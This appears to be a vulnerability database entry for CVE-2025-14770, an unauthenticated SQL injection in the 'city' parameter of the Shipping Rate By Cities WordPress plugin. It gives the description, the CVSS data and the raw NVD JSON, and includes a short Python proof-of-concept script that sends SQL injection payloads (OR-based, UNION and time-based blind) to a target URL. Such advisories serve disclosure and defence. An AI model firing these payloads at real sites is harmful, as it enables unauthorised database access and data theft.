Security Vulnerability Report
中文
CVE-2025-14770 CVSS 7.5 HIGH

CVE-2025-14770

Published: 2026-01-14 07:16:13
Last Modified: 2026-04-15 00:35:42

Description

The Shipping Rate By Cities plugin for WordPress is vulnerable to SQL Injection via the 'city' parameter in all versions up to, and including, 2.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Shipping Rate By Cities ≤ 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14770 PoC - SQL Injection in Shipping Rate By Cities WordPress Plugin # Target: WordPress site with Shipping Rate By Cities plugin < 2.0.1 def test_sqli(url, city_payload): """Test SQL injection vulnerability with given payload""" params = {'city': city_payload} try: response = requests.get(url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14770.py <target_url>") print("Example: python cve-2025-14770.py http://example.com/checkout/") sys.exit(1) target_url = sys.argv[1] print("[*] CVE-2025-14770 - Shipping Rate By Cities SQL Injection") print(f"[*] Target: {target_url}") # Basic test payloads payloads = [ "' OR '1'='1", # Basic OR injection "' UNION SELECT 1,2,3--", # UNION-based injection "' AND SLEEP(5)--", # Time-based blind injection ] for i, payload in enumerate(payloads, 1): print(f"\n[*] Testing payload {i}: {payload}") response = test_sqli(target_url, payload) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)} bytes") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14770", "sourceIdentifier": "[email protected]", "published": "2026-01-14T07:16:13.493", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Shipping Rate By Cities plugin for WordPress is vulnerable to SQL Injection via the 'city' parameter in all versions up to, and including, 2.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin Shipping Rate By Cities para WordPress es vulnerable a inyección SQL a través del parámetro 'city' en todas las versiones hasta la 2.0.0, inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y la falta de preparación suficiente en la consulta SQL existente. Esto hace posible que atacantes no autenticados añadan consultas SQL adicionales a consultas ya existentes que pueden usarse para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/shipping-rate-by-cities/trunk/shiprate-cities-method-class.php#L372", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/11e7e798-9fb9-4cff-a96f-a0003f203f5f?source=cve", "source": "[email protected]"}]}}